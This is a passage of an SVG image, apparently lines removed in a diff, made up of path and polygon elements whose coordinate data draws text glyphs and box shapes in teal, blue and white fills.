87.9442667,235.377673 88.1526,234.78392 Z M83.54322,232.50267 L88.16822,232.50267 C88.1057533,231.804757 87.92867,231.283923 87.63697,230.94017 C87.1890567,230.398503 86.6109333,230.12767 85.9026,230.12767 C85.2567667,230.12767 84.70989,230.34642 84.26197,230.78392 C83.82447,231.211007 83.5848867,231.783923 83.54322,232.50267 Z M96.78541,234.40892 L98.17604,234.59642 C98.0197867,235.54434 97.62916,236.289133 97.00416,236.8308 C96.38958,237.372467 95.6291633,237.6433 94.72291,237.6433 C93.5874967,237.6433 92.67083,237.273507 91.97291,236.53392 C91.28541,235.78392 90.94166,234.716213 90.94166,233.3308 C90.94166,232.434967 91.0874933,231.653717 91.37916,230.98705 C91.6812467,230.309963 92.1343733,229.804753 92.73854,229.47142 C93.35312,229.138087 94.0145767,228.97142 94.72291,228.97142 C95.6291633,228.97142 96.3687467,229.200587 96.94166,229.65892 C97.51458,230.10684 97.8791633,230.752673 98.03541,231.59642 L96.67604,231.79955 C96.54062,231.247463 96.3062433,230.830797 95.97291,230.54955 C95.6499967,230.268297 95.2541633,230.12767 94.78541,230.12767 C94.0770767,230.12767 93.4989533,230.38288 93.05104,230.8933 C92.61354,231.3933 92.39479,232.195383 92.39479,233.29955 C92.39479,234.41413 92.60833,235.22663 93.03541,235.73705 C93.4624967,236.23705 94.01979,236.48705 94.70729,236.48705 C95.25937,236.48705 95.7177033,236.320383 96.08229,235.98705 C96.45729,235.643297 96.6916633,235.117253 96.78541,234.40892 Z M102.44166,236.19017 L102.64479,237.44017 C102.248957,237.523503 101.89479,237.56517 101.58229,237.56517 C101.07187,237.56517 100.676037,237.487047 100.39479,237.3308 C100.113537,237.164133 99.91562,236.95059 99.80104,236.69017 C99.6864533,236.419337 99.62916,235.862047 99.62916,235.0183 L99.62916,230.25267 L98.59791,230.25267 L98.59791,229.15892 L99.62916,229.15892 L99.62916,227.09642 L101.03541,226.25267 L101.03541,229.15892 L102.44166,229.15892 L102.44166,230.25267 L101.03541,230.25267 L101.03541,235.09642 C101.03541,235.502673 101.056243,235.76309 101.09791,235.87767 C101.149977,235.992257 101.23331,236.086007 101.34791,236.15892 C101.462497,236.221387 101.623957,236.25262 101.83229,236.25262 C101.988537,236.25262 102.19166,236.231787 102.44166,236.19012 L102.44166,236.19017 Z" id="path21" stroke="none" fill="#3EBEB0" fill-rule="nonzero"></path>
-                    <path d="M42.87915,275.4558 L42.87915,264.00267 L44.2854,264.00267 L44.2854,275.4558 L42.87915,275.4558 Z M45.93384,271.29955 C45.93384,269.768297 46.3609233,268.63288 47.21509,267.8933 C47.9338367,267.278713 48.8036267,266.97142 49.82446,266.97142 C50.9702933,266.97142 51.9025867,267.34642 52.62134,268.09642 C53.3505067,268.836007 53.71509,269.867257 53.71509,271.19017 C53.71509,272.25267 53.55363,273.091213 53.23071,273.7058 C52.9077967,274.32038 52.4390467,274.799547 51.82446,275.1433 C51.2202933,275.476633 50.5536267,275.6433 49.82446,275.6433 C48.6682133,275.6433 47.7307133,275.273507 47.01196,274.53392 C46.2932133,273.78392 45.93384,272.705797 45.93384,271.29955 Z M47.38696,271.29955 C47.38696,272.36205 47.6161267,273.158923 48.07446,273.69017 C48.5432133,274.221423 49.1265467,274.48705 49.82446,274.48705 C50.52238,274.48705 51.1005067,274.221423 51.55884,273.69017 C52.0275867,273.158923 52.26196,272.346423 52.26196,271.25267 C52.26196,270.231837 52.0275867,269.455797 51.55884,268.92455 C51.1005067,268.393297 50.52238,268.12767 49.82446,268.12767 C49.1265467,268.12767 48.5432133,268.393297 48.07446,268.92455 C47.6161267,269.445383 47.38696,270.23705 47.38696,271.29955 Z M56.89477,275.4558 L54.3479,267.15892 L55.80102,267.15892 L57.12915,271.94017 L57.61352,273.72142 C57.63432,273.638087 57.7801533,273.07038 58.05102,272.0183 L59.36352,267.15892 L60.81665,267.15892 L62.05102,271.97142 L62.4729,273.54955 L62.94165,271.9558 L64.36352,267.15892 L65.73852,267.15892 L63.14477,275.4558 L61.67602,275.4558 L60.36352,270.48705 L60.0354,269.06517 L58.36352,275.4558 L56.89477,275.4558 Z M72.59009,272.78392 L74.04321,272.9558 C73.8140433,273.809967 73.38696,274.471423 72.76196,274.94017 C72.14738,275.408923 71.3609233,275.6433 70.40259,275.6433 C69.1838367,275.6433 68.2202933,275.2683 67.51196,274.5183 C66.8036267,273.7683 66.44946,272.721423 66.44946,271.37767 C66.44946,269.981837 66.8088367,268.898503 67.52759,268.12767 C68.2463367,267.356837 69.1786267,266.97142 70.32446,266.97142 C71.4286267,266.97142 72.32967,267.35163 73.02759,268.11205 C73.7359233,268.86205 74.09009,269.91934 74.09009,271.28392 C74.09009,271.367253 74.09009,271.492253 74.09009,271.65892 L67.90259,271.65892 C67.9546567,272.575587 68.2098633,273.278713 68.66821,273.7683 C69.1369633,274.247467 69.71509,274.48705 70.40259,274.48705 C70.9234233,274.48705 71.36613,274.351633 71.73071,274.0808 C72.0952967,273.809967 72.3817567,273.377673 72.59009,272.78392 Z M67.98071,270.50267 L72.60571,270.50267 C72.5432433,269.804757 72.36616,269.283923 72.07446,268.94017 C71.6265467,268.398503 71.0484233,268.12767 70.34009,268.12767 C69.6942567,268.12767 69.14738,268.34642 68.69946,268.78392 C68.26196,269.211007 68.0223767,269.783923 67.98071,270.50267 Z M75.80102,275.4558 L75.80102,267.15892 L77.06665,267.15892 L77.06665,268.40892 C77.3895633,267.825587 77.6864367,267.44017 77.95727,267.25267 C78.2281033,267.06517 78.5301867,266.97142 78.86352,266.97142 C79.3322733,266.97142 79.81144,267.122463 80.30102,267.42455 L79.81665,268.72142 C79.4728967,268.523507 79.1291467,268.42455 78.7854,268.42455 C78.4833133,268.42455 78.20727,268.5183 77.95727,268.7058 C77.71769,268.88288 77.5458167,269.138087 77.44165,269.47142 C77.2853967,269.97142 77.20727,270.518297 77.20727,271.11205 L77.20727,275.4558 L75.80102,275.4558 Z M86.55102,272.40892 L87.94165,272.59642 C87.7853967,273.54434 87.39477,274.289133 86.76977,274.8308 C86.15519,275.372467 85.3947733,275.6433 84.48852,275.6433 C83.3531067,275.6433 82.43644,275.273507 81.73852,274.53392 C81.05102,273.78392 80.70727,272.716213 80.70727,271.3308 C80.70727,270.434967 80.8531033,269.653717 81.14477,268.98705 C81.4468567,268.309963 81.8999833,267.804753 82.50415,267.47142 C83.11873,267.138087 83.7801867,266.97142 84.48852,266.97142 C85.3947733,266.97142 86.1343567,267.200587 86.70727,267.65892 C87.28019,268.10684 87.6447733,268.752673 87.80102,269.59642 L86.44165,269.79955 C86.30623,269.247463 86.0718533,268.830797 85.73852,268.54955 C85.4156067,268.268297 85.0197733,268.12767 84.55102,268.12767 C83.8426867,268.12767 83.2645633,268.38288 82.81665,268.8933 C82.37915,269.3933 82.1604,270.195383 82.1604,271.29955 C82.1604,272.41413 82.37394,273.22663 82.80102,273.73705 C83.2281067,274.23705 83.7854,274.48705 84.4729,274.48705 C85.02498,274.48705 85.4833133,274.320383 85.8479,273.98705 C86.2229,273.643297 86.4572733,273.117253 86.55102,272.40892 Z M94.55102,274.42455 C94.0301867,274.872463 93.5301867,275.19017 93.05102,275.37767 C92.5718533,275.554757 92.05623,275.6433 91.50415,275.6433 C90.5874833,275.6433 89.8843567,275.41934 89.39477,274.97142 C88.90519,274.523507 88.6604,273.9558 88.6604,273.2683 C88.6604,272.862047 88.75415,272.492253 88.94165,272.15892 C89.12915,271.815173 89.3687333,271.54434 89.6604,271.34642 C89.96248,271.138087 90.30102,270.981837 90.67602,270.87767 C90.9572733,270.804757 91.37394,270.73705 91.92602,270.67455 C93.06144,270.53913 93.8999833,270.37767 94.44165,270.19017 C94.44165,269.992257 94.44165,269.867257 94.44165,269.81517 C94.44165,269.242257 94.31144,268.841217 94.05102,268.61205 C93.68644,268.28913 93.1499833,268.12767 92.44165,268.12767 C91.7853967,268.12767 91.2958133,268.247463 90.9729,268.48705 C90.6604,268.716217 90.4312333,269.122467 90.2854,269.7058 L88.9104,269.5183 C89.0354,268.934967 89.2385233,268.461007 89.51977,268.09642 C89.8114367,267.73184 90.2281033,267.4558 90.76977,267.2683 C91.3114367,267.07038 91.9364367,266.97142 92.64477,266.97142 C93.3531033,266.97142 93.92602,267.054753 94.36352,267.22142 C94.81144,267.388087 95.1395667,267.59642 95.3479,267.84642 C95.5562333,268.09642 95.7020667,268.41413 95.7854,268.79955 C95.8374667,269.03913 95.8635,269.47142 95.8635,270.09642 L95.8635,271.97142 C95.8635,273.28392 95.8895333,274.112047 95.9416,274.4558 C96.0040667,274.799547 96.1238567,275.13288 96.30097,275.4558 L94.83222,275.4558 C94.6863867,275.164133 94.5926367,274.820383 94.55097,274.42455 L94.55102,274.42455 Z M94.44165,271.28392 C93.93123,271.492253 93.1656033,271.669337 92.14477,271.81517 C91.5614367,271.898503 91.14998,271.992253 90.9104,272.09642 C90.6708133,272.200587 90.4833133,272.356837 90.3479,272.56517 C90.2229,272.76309 90.1604,272.98184 90.1604,273.22142 C90.1604,273.59642 90.3010233,273.90892 90.58227,274.15892 C90.8739367,274.40892 91.2906033,274.53392 91.83227,274.53392 C92.3739367,274.53392 92.8531033,274.419337 93.26977,274.19017 C93.6968567,273.95059 94.0093567,273.622467 94.20727,273.2058 C94.3635233,272.8933 94.44165,272.42455 94.44165,271.79955 L94.44165,271.28392 Z M97.48071,272.97142 L98.87134,272.75267 C98.9442533,273.31517 99.1577933,273.747463 99.51196,274.04955 C99.8765467,274.341217 100.376547,274.48705 101.01196,274.48705 C101.657793,274.48705 102.13696,274.35684 102.44946,274.09642 C102.76196,273.825587 102.91821,273.513087 102.91821,273.15892 C102.91821,272.84642 102.782793,272.59642 102.51196,272.40892 C102.314047,272.28392 101.83488,272.12767 101.07446,271.94017 C100.043213,271.679757 99.3244633,271.4558 98.91821,271.2683 C98.5223767,271.07038 98.2202933,270.804753 98.01196,270.47142 C97.8140467,270.138087 97.71509,269.768297 97.71509,269.36205 C97.71509,268.98705 97.7984233,268.6433 97.96509,268.3308 C98.1317567,268.0183 98.3609233,267.757883 98.65259,267.54955 C98.8713367,267.382883 99.16821,267.247467 99.54321,267.1433 C99.92863,267.028713 100.33488,266.97142 100.76196,266.97142 C101.418213,266.97142 101.99113,267.06517 102.48071,267.25267 C102.970297,267.44017 103.329673,267.69538 103.55884,268.0183 C103.79842,268.3308 103.965087,268.757883 104.05884,269.29955 L102.68384,269.48705 C102.621373,269.059963 102.43908,268.72663 102.13696,268.48705 C101.83488,268.247463 101.413007,268.12767 100.87134,268.12767 C100.225507,268.12767 99.7619633,268.237047 99.48071,268.4558 C99.2098767,268.664133 99.07446,268.908923 99.07446,269.19017 C99.07446,269.37767 99.1317533,269.544337 99.24634,269.69017 C99.36092,269.836003 99.5380033,269.961003 99.77759,270.06517 C99.9234233,270.117237 100.34009,270.23703 101.02759,270.42455 C102.01717,270.684963 102.709877,270.903713 103.10571,271.0808 C103.501543,271.247467 103.808837,271.492257 104.02759,271.81517 C104.256757,272.13809 104.37134,272.539133 104.37134,273.0183 C104.37134,273.487047 104.230713,273.929753 103.94946,274.34642 C103.678627,274.752673 103.282793,275.070383 102.76196,275.29955 C102.251547,275.528717 101.673423,275.6433 101.02759,275.6433 C99.9442567,275.6433 99.12134,275.41934 98.55884,274.97142 C97.99634,274.523507 97.6369633,273.85684 97.48071,272.97142 Z M111.71509,272.78392 L113.16821,272.9558 C112.939043,273.809967 112.51196,274.471423 111.88696,274.94017 C111.27238,275.408923 110.485923,275.6433 109.52759,275.6433 C108.308837,275.6433 107.345293,275.2683 106.63696,274.5183 C105.928627,273.7683 105.57446,272.721423 105.57446,271.37767 C105.57446,269.981837 105.933837,268.898503 106.65259,268.12767 C107.371337,267.356837 108.303627,266.97142 109.44946,266.97142 C110.553627,266.97142 111.45467,267.35163 112.15259,268.11205 C112.860923,268.86205 113.21509,269.91934 113.21509,271.28392 C113.21509,271.367253 113.21509,271.492253 113.21509,271.65892 L107.02759,271.65892 C107.079657,272.575587 107.334863,273.278713 107.79321,273.7683 C108.261963,274.247467 108.84009,274.48705 109.52759,274.48705 C110.048423,274.48705 110.49113,274.351633 110.85571,274.0808 C111.220297,273.809967 111.506757,273.377673 111.71509,272.78392 Z M107.10571,270.50267 L111.73071,270.50267 C111.668243,269.804757 111.49116,269.283923 111.19946,268.94017 C110.751547,268.398503 110.173423,268.12767 109.46509,268.12767 C108.819257,268.12767 108.27238,268.34642 107.82446,268.78392 C107.38696,269.211007 107.147377,269.783923 107.10571,270.50267 Z" id="path23" stroke="none" fill="#3EBEB0" fill-rule="nonzero"></path>
-                    <polygon id="path25" stroke="none" fill="#3D99D7" fill-rule="evenodd" points="26.4777 12.217848 129.24934 12.217848 129.24934 89.51413 113.78971 104.97375 26.47771 104.97375"></polygon>
-                    <polygon id="path27" stroke="none" fill="#307AAB" fill-rule="evenodd" points="113.7897 104.97375 116.88165 92.60605 129.24933 89.51413"></polygon>
-                    <polyline id="path29" stroke="none" fill-opacity="0" fill="#000000" fill-rule="evenodd" points="113.7897 104.97375 116.88165 92.60605 129.24933 89.51413 113.7897 104.97375 26.47769 104.97375 26.47769 12.21785 129.24933 12.21785 129.24933 89.51413"></polyline>
-                    <path d="M46.9104,37.382236 L46.9104,35.772861 L48.31665,35.772861 L48.31665,37.382236 L46.9104,37.382236 Z M46.9104,47.225986 L46.9104,38.929111 L48.31665,38.929111 L48.31665,47.225986 L46.9104,47.225986 Z M50.46509,47.225986 L50.46509,38.929111 L51.73071,38.929111 L51.73071,40.100986 C52.3348767,39.194736 53.2150867,38.741611 54.37134,38.741611 C54.87134,38.741611 55.3296733,38.8301527 55.74634,39.007236 C56.1630067,39.1843193 56.4755067,39.4186943 56.68384,39.710361 C56.8921733,40.0020277 57.0380067,40.350986 57.12134,40.757236 C57.1734067,41.0176527 57.19944,41.4707777 57.19944,42.116611 L57.19944,47.225986 L55.79319,47.225986 L55.79319,42.179111 C55.79319,41.6061943 55.7359,41.179111 55.62132,40.897861 C55.5171533,40.6061943 55.3244433,40.3770277 55.04319,40.210361 C54.7723567,40.0436943 54.44944,39.960361 54.07444,39.960361 C53.4702733,39.960361 52.94944,40.1530693 52.51194,40.538486 C52.08486,40.913486 51.87132,41.632236 51.87132,42.694736 L51.87132,47.225986 L50.46509,47.225986 Z M64.76977,44.179111 L66.1604,44.366611 C66.0041467,45.3145277 65.61352,46.0593193 64.98852,46.600986 C64.37394,47.1426527 63.6135233,47.413486 62.70727,47.413486 C61.5718567,47.413486 60.65519,47.0436943 59.95727,46.304111 C59.26977,45.554111 58.92602,44.4864027 58.92602,43.100986 C58.92602,42.2051527 59.0718533,41.4239027 59.36352,40.757236 C59.6656067,40.0801527 60.1187333,39.5749443 60.7229,39.241611 C61.33748,38.9082777 61.9989367,38.741611 62.70727,38.741611 C63.6135233,38.741611 64.3531067,38.9707777 64.92602,39.429111 C65.49894,39.8770277 65.8635233,40.522861 66.01977,41.366611 L64.6604,41.569736 C64.52498,41.0176527 64.2906033,40.600986 63.95727,40.319736 C63.6343567,40.038486 63.2385233,39.897861 62.76977,39.897861 C62.0614367,39.897861 61.4833133,40.1530693 61.0354,40.663486 C60.5979,41.163486 60.37915,41.9655693 60.37915,43.069736 C60.37915,44.1843193 60.59269,44.9968193 61.01977,45.507236 C61.4468567,46.007236 62.00415,46.257236 62.69165,46.257236 C63.24373,46.257236 63.7020633,46.0905693 64.06665,45.757236 C64.44165,45.413486 64.6760233,44.8874443 64.76977,44.179111 Z M66.83227,43.069736 C66.83227,41.538486 67.2593533,40.4030693 68.11352,39.663486 C68.8322733,39.0489027 69.7020667,38.741611 70.7229,38.741611 C71.8687333,38.741611 72.8010233,39.116611 73.51977,39.866611 C74.2489367,40.6061943 74.61352,41.6374443 74.61352,42.960361 C74.61352,44.022861 74.4520633,44.8614027 74.12915,45.475986 C73.80623,46.0905693 73.33748,46.569736 72.7229,46.913486 C72.1187333,47.2468193 71.4520667,47.413486 70.7229,47.413486 C69.5666467,47.413486 68.6291467,47.0436943 67.9104,46.304111 C67.1916467,45.554111 66.83227,44.475986 66.83227,43.069736 Z M68.2854,43.069736 C68.2854,44.132236 68.5145667,44.929111 68.9729,45.460361 C69.4416467,45.991611 70.02498,46.257236 70.7229,46.257236 C71.4208133,46.257236 71.9989367,45.991611 72.45727,45.460361 C72.9260233,44.929111 73.1604,44.116611 73.1604,43.022861 C73.1604,42.0020277 72.9260233,41.225986 72.45727,40.694736 C71.9989367,40.163486 71.4208133,39.897861 70.7229,39.897861 C70.02498,39.897861 69.4416467,40.163486 68.9729,40.694736 C68.5145667,41.2155693 68.2854,42.007236 68.2854,43.069736 Z M76.26196,47.225986 L76.26196,38.929111 L77.51196,38.929111 L77.51196,40.085361 C77.77238,39.679111 78.11613,39.3561943 78.54321,39.116611 C78.98071,38.866611 79.4755033,38.741611 80.02759,38.741611 C80.64217,38.741611 81.1473767,38.8718193 81.54321,39.132236 C81.9390433,39.382236 82.2150867,39.7364027 82.37134,40.194736 C83.0275867,39.225986 83.8817533,38.741611 84.93384,38.741611 C85.7567533,38.741611 86.38696,38.9707777 86.82446,39.429111 C87.27238,39.8770277 87.49634,40.5749443 87.49634,41.522861 L87.49634,47.225986 L86.10571,47.225986 L86.10571,41.991611 C86.10571,41.429111 86.0588367,41.0280693 85.96509,40.788486 C85.8713367,40.538486 85.70467,40.3405693 85.46509,40.194736 C85.2255033,40.038486 84.9442533,39.960361 84.62134,39.960361 C84.0380067,39.960361 83.55363,40.1530693 83.16821,40.538486 C82.7827967,40.9239027 82.59009,41.5436943 82.59009,42.397861 L82.59009,47.225986 L81.18384,47.225986 L81.18384,41.835361 C81.18384,41.210361 81.0692567,40.741611 80.84009,40.429111 C80.6109233,40.116611 80.2359233,39.960361 79.71509,39.960361 C79.3192567,39.960361 78.9546733,40.0645277 78.62134,40.272861 C78.2880067,40.4811943 78.0432133,40.788486 77.88696,41.194736 C77.7411267,41.5905693 77.66821,42.163486 77.66821,42.913486 L77.66821,47.225986 L76.26196,47.225986 Z M89.59009,37.382236 L89.59009,35.772861 L90.99634,35.772861 L90.99634,37.382236 L89.59009,37.382236 Z M89.59009,47.225986 L89.59009,38.929111 L90.99634,38.929111 L90.99634,47.225986 L89.59009,47.225986 Z M93.14477,47.225986 L93.14477,38.929111 L94.4104,38.929111 L94.4104,40.100986 C95.0145667,39.194736 95.8947733,38.741611 97.05102,38.741611 C97.55102,38.741611 98.0093533,38.8301527 98.42602,39.007236 C98.8426867,39.1843193 99.1551867,39.4186943 99.36352,39.710361 C99.5718533,40.0020277 99.7176867,40.350986 99.80102,40.757236 C99.8530867,41.0176527 99.87912,41.4707777 99.87912,42.116611 L99.87912,47.225986 L98.47287,47.225986 L98.47287,42.179111 C98.47287,41.6061943 98.4155767,41.179111 98.30099,40.897861 C98.1968233,40.6061943 98.0041167,40.3770277 97.72287,40.210361 C97.4520367,40.0436943 97.12912,39.960361 96.75412,39.960361 C96.1499533,39.960361 95.62912,40.1530693 95.19162,40.538486 C94.7645333,40.913486 94.55099,41.632236 94.55099,42.694736 L94.55099,47.225986 L93.14477,47.225986 Z M101.77759,47.913486 L103.15259,48.116615 C103.204657,48.5436983 103.360907,48.85099 103.62134,49.03849 C103.975507,49.2989067 104.454673,49.429115 105.05884,49.429115 C105.704673,49.429115 106.204673,49.2989067 106.55884,49.03849 C106.913007,48.7780733 107.15259,48.4134887 107.27759,47.944736 C107.350503,47.663486 107.38696,47.0593193 107.38696,46.132236 C106.77238,46.8614027 106.006757,47.225986 105.09009,47.225986 C103.944257,47.225986 103.05884,46.8145277 102.43384,45.991611 C101.80884,45.1686943 101.49634,44.179111 101.49634,43.022861 C101.49634,42.2311943 101.636963,41.5020277 101.91821,40.835361 C102.209877,40.1686943 102.626543,39.6530693 103.16821,39.288486 C103.720297,38.9239027 104.360923,38.741611 105.09009,38.741611 C106.069257,38.741611 106.876547,39.1374443 107.51196,39.929111 L107.51196,38.929111 L108.80884,38.929111 L108.80884,46.100986 C108.80884,47.3926553 108.67863,48.3093233 108.41821,48.85099 C108.157797,49.3926567 107.74113,49.81974 107.16821,50.13224 C106.595297,50.44474 105.892173,50.60099 105.05884,50.60099 C104.069253,50.60099 103.26717,50.3770317 102.65259,49.929115 C102.048423,49.4811983 101.756757,48.809322 101.77759,47.913486 Z M102.94946,42.929111 C102.94946,44.0124443 103.163003,44.804111 103.59009,45.304111 C104.02759,45.804111 104.569257,46.054111 105.21509,46.054111 C105.860923,46.054111 106.40259,45.8093193 106.84009,45.319736 C107.27759,44.819736 107.49634,44.038486 107.49634,42.975986 C107.49634,41.9551527 107.27238,41.1895277 106.82446,40.679111 C106.376547,40.1582777 105.83488,39.897861 105.19946,39.897861 C104.57446,39.897861 104.04321,40.1530693 103.60571,40.663486 C103.16821,41.1739027 102.94946,41.929111 102.94946,42.929111 Z" id="path31" stroke="none" fill="#FFFFFF" fill-rule="nonzero"></path>
-                    <path d="M45.1682,66.22599 L45.1682,65.179115 C44.6473667,66.0020317 43.8765333,66.41349 42.8557,66.41349 C42.1890333,66.41349 41.57966,66.2311983 41.02758,65.866615 C40.4754933,65.5020317 40.0432,64.991615 39.7307,64.335365 C39.42862,63.679115 39.27758,62.929115 39.27758,62.085365 C39.27758,61.2520317 39.4129967,60.5020317 39.68383,59.835365 C39.9650767,59.1582817 40.3817433,58.6426567 40.93383,58.28849 C41.48591,57.9239067 42.1057,57.741615 42.7932,57.741615 C43.2932,57.741615 43.73591,57.8457817 44.12133,58.054115 C44.5171633,58.2624483 44.83487,58.53849 45.07445,58.88224 L45.07445,54.772865 L46.4807,54.772865 L46.4807,66.22599 L45.1682,66.22599 Z M40.7307,62.085365 C40.7307,63.147865 40.95466,63.94474 41.40258,64.47599 C41.8504933,64.9968233 42.3765333,65.25724 42.9807,65.25724 C43.5952867,65.25724 44.11612,65.00724 44.5432,64.50724 C44.9807,63.9968233 45.19945,63.22599 45.19945,62.19474 C45.19945,61.0593233 44.9807,60.22599 44.5432,59.69474 C44.1057,59.16349 43.5640333,58.897865 42.9182,58.897865 C42.2932,58.897865 41.7723667,59.1530733 41.3557,59.66349 C40.9390333,60.1739067 40.7307,60.9811983 40.7307,62.085365 Z M48.16039,62.069735 C48.16039,60.538485 48.5874733,59.4030683 49.44164,58.663485 C50.1603867,58.0489017 51.0301767,57.74161 52.05101,57.74161 C53.1968433,57.74161 54.1291367,58.11661 54.84789,58.86661 C55.5770567,59.6061933 55.94164,60.6374433 55.94164,61.96036 C55.94164,63.02286 55.78018,63.8614017 55.45726,64.475985 C55.1343467,65.0905683 54.6655967,65.569735 54.05101,65.913485 C53.4468433,66.2468183 52.7801767,66.413485 52.05101,66.413485 C50.8947633,66.413485 49.9572633,66.0436933 49.23851,65.30411 C48.5197633,64.55411 48.16039,63.475985 48.16039,62.069735 Z M49.61351,62.069735 C49.61351,63.132235 49.8426767,63.92911 50.30101,64.46036 C50.7697633,64.99161 51.3530967,65.257235 52.05101,65.257235 C52.74893,65.257235 53.3270567,64.99161 53.78539,64.46036 C54.2541367,63.92911 54.48851,63.11661 54.48851,62.02286 C54.48851,61.0020267 54.2541367,60.225985 53.78539,59.694735 C53.3270567,59.163485 52.74893,58.89786 52.05101,58.89786 C51.3530967,58.89786 50.7697633,59.163485 50.30101,59.694735 C49.8426767,60.2155683 49.61351,61.007235 49.61351,62.069735 Z M62.99633,63.17911 L64.38695,63.36661 C64.2307033,64.3145267 63.84008,65.0593183 63.21508,65.600985 C62.6004933,66.1426517 61.8400767,66.413485 60.93383,66.413485 C59.79841,66.413485 58.8817433,66.0436933 58.18383,65.30411 C57.49633,64.55411 57.15258,63.4864017 57.15258,62.100985 C57.15258,61.2051517 57.2984133,60.4239017 57.59008,59.757235 C57.89216,59.0801517 58.3452833,58.5749433 58.94945,58.24161 C59.5640367,57.9082767 60.2254967,57.74161 60.93383,57.74161 C61.8400767,57.74161 62.57966,57.9707767 63.15258,58.42911 C63.7254933,58.8770267 64.0900767,59.52286 64.24633,60.36661 L62.88695,60.569735 C62.7515367,60.0176517 62.5171633,59.600985 62.18383,59.319735 C61.86091,59.038485 61.4650767,58.89786 60.99633,58.89786 C60.2879967,58.89786 59.70987,59.1530683 59.26195,59.663485 C58.82445,60.163485 58.6057,60.9655683 58.6057,62.069735 C58.6057,63.1843183 58.8192433,63.9968183 59.24633,64.507235 C59.67341,65.007235 60.2307,65.257235 60.9182,65.257235 C61.4702867,65.257235 61.92862,65.0905683 62.2932,64.757235 C62.6682,64.413485 62.9025767,63.8874433 62.99633,63.17911 Z M71.02758,66.225985 L71.02758,65.007235 C70.3817467,65.944735 69.5015367,66.413485 68.38695,66.413485 C67.89737,66.413485 67.4390367,66.319735 67.01195,66.132235 C66.5952833,65.944735 66.2827833,65.71036 66.07445,65.42911 C65.8661167,65.1374433 65.7202833,64.788485 65.63695,64.382235 C65.5848833,64.100985 65.55885,63.663485 65.55885,63.069735 L65.55885,57.92911 L66.9651,57.92911 L66.9651,62.52286 C66.9651,63.2624433 66.9911333,63.757235 67.0432,64.007235 C67.1369533,64.382235 67.3244533,64.6739017 67.6057,64.882235 C67.8973667,65.0905683 68.2515333,65.194735 68.6682,65.194735 C69.0952867,65.194735 69.49112,65.0905683 69.8557,64.882235 C70.2307,64.663485 70.4911167,64.36661 70.63695,63.99161 C70.7932033,63.61661 70.87133,63.0749433 70.87133,62.36661 L70.87133,57.92911 L72.27758,57.92911 L72.27758,66.225985 L71.02758,66.225985 Z M74.48851,66.225985 L74.48851,57.92911 L75.73851,57.92911 L75.73851,59.08536 C75.99893,58.67911 76.34268,58.3561933 76.76976,58.11661 C77.20726,57.86661 77.7020533,57.74161 78.25414,57.74161 C78.86872,57.74161 79.3739267,57.8718183 79.76976,58.132235 C80.1655933,58.382235 80.4416367,58.7364017 80.59789,59.194735 C81.2541367,58.225985 82.1083033,57.74161 83.16039,57.74161 C83.9833033,57.74161 84.61351,57.9707767 85.05101,58.42911 C85.49893,58.8770267 85.72289,59.5749433 85.72289,60.52286 L85.72289,66.225985 L84.33226,66.225985 L84.33226,60.99161 C84.33226,60.42911 84.2853867,60.0280683 84.19164,59.788485 C84.0978867,59.538485 83.93122,59.3405683 83.69164,59.194735 C83.4520533,59.038485 83.1708033,58.96036 82.84789,58.96036 C82.2645567,58.96036 81.78018,59.1530683 81.39476,59.538485 C81.0093467,59.9239017 80.81664,60.5436933 80.81664,61.39786 L80.81664,66.225985 L79.41039,66.225985 L79.41039,60.83536 C79.41039,60.21036 79.2958067,59.74161 79.06664,59.42911 C78.8374733,59.11661 78.4624733,58.96036 77.94164,58.96036 C77.5458067,58.96036 77.1812233,59.0645267 76.84789,59.27286 C76.5145567,59.4811933 76.2697633,59.788485 76.11351,60.194735 C75.9676767,60.5905683 75.89476,61.163485 75.89476,61.913485 L75.89476,66.225985 L74.48851,66.225985 Z M93.48851,63.55411 L94.94164,63.725985 C94.7124733,64.5801517 94.28539,65.24161 93.66039,65.71036 C93.0458033,66.17911 92.2593433,66.413485 91.30101,66.413485 C90.0822633,66.413485 89.1187233,66.038485 88.41039,65.288485 C87.7020567,64.538485 87.34789,63.49161 87.34789,62.14786 C87.34789,60.7520267 87.7072633,59.6686933 88.42601,58.89786 C89.1447633,58.1270267 90.0770567,57.74161 91.22289,57.74161 C92.3270567,57.74161 93.2280967,58.1218183 93.92601,58.882235 C94.6343433,59.632235 94.98851,60.6895267 94.98851,62.05411 C94.98851,62.1374433 94.98851,62.2624433 94.98851,62.42911 L88.80101,62.42911 C88.8530767,63.3457767 89.1082867,64.0489017 89.56664,64.538485 C90.0353867,65.0176517 90.61351,65.257235 91.30101,65.257235 C91.8218433,65.257235 92.2645533,65.1218183 92.62914,64.850985 C92.99372,64.5801517 93.2801767,64.14786 93.48851,63.55411 Z M88.87914,61.27286 L93.50414,61.27286 C93.4416733,60.5749433 93.26459,60.05411 92.97289,59.71036 C92.52497,59.1686933 91.9468433,58.89786 91.23851,58.89786 C90.5926767,58.89786 90.0458033,59.11661 89.59789,59.55411 C89.16039,59.9811933 88.9208067,60.55411 88.87914,61.27286 Z M96.71508,66.225985 L96.71508,57.92911 L97.9807,57.92911 L97.9807,59.100985 C98.5848667,58.194735 99.4650767,57.74161 100.62133,57.74161 C101.12133,57.74161 101.579663,57.8301517 101.99633,58.007235 C102.412997,58.1843183 102.725497,58.4186933 102.93383,58.71036 C103.142163,59.0020267 103.287997,59.350985 103.37133,59.757235 C103.423397,60.0176517 103.44943,60.4707767 103.44943,61.11661 L103.44943,66.225985 L102.04318,66.225985 L102.04318,61.17911 C102.04318,60.6061933 101.98589,60.17911 101.87131,59.89786 C101.767143,59.6061933 101.574433,59.3770267 101.29318,59.21036 C101.022347,59.0436933 100.69943,58.96036 100.32443,58.96036 C99.7202633,58.96036 99.19943,59.1530683 98.76193,59.538485 C98.33485,59.913485 98.12131,60.632235 98.12131,61.694735 L98.12131,66.225985 L96.71508,66.225985 Z M108.67601,64.96036 L108.87914,66.21036 C108.483307,66.2936933 108.12914,66.33536 107.81664,66.33536 C107.30622,66.33536 106.910387,66.257235 106.62914,66.100985 C106.347887,65.9343183 106.14997,65.7207767 106.03539,65.46036 C105.920803,65.1895267 105.86351,64.632235 105.86351,63.788485 L105.86351,59.02286 L104.83226,59.02286 L104.83226,57.92911 L105.86351,57.92911 L105.86351,55.86661 L107.26976,55.02286 L107.26976,57.92911 L108.67601,57.92911 L108.67601,59.02286 L107.26976,59.02286 L107.26976,63.86661 C107.26976,64.27286 107.290593,64.5332767 107.33226,64.64786 C107.384327,64.7624433 107.46766,64.8561933 107.58226,64.92911 C107.696847,64.99161 107.858307,65.02286 108.06664,65.02286 C108.222887,65.02286 108.42601,65.0020267 108.67601,64.96036 Z M109.49633,63.74161 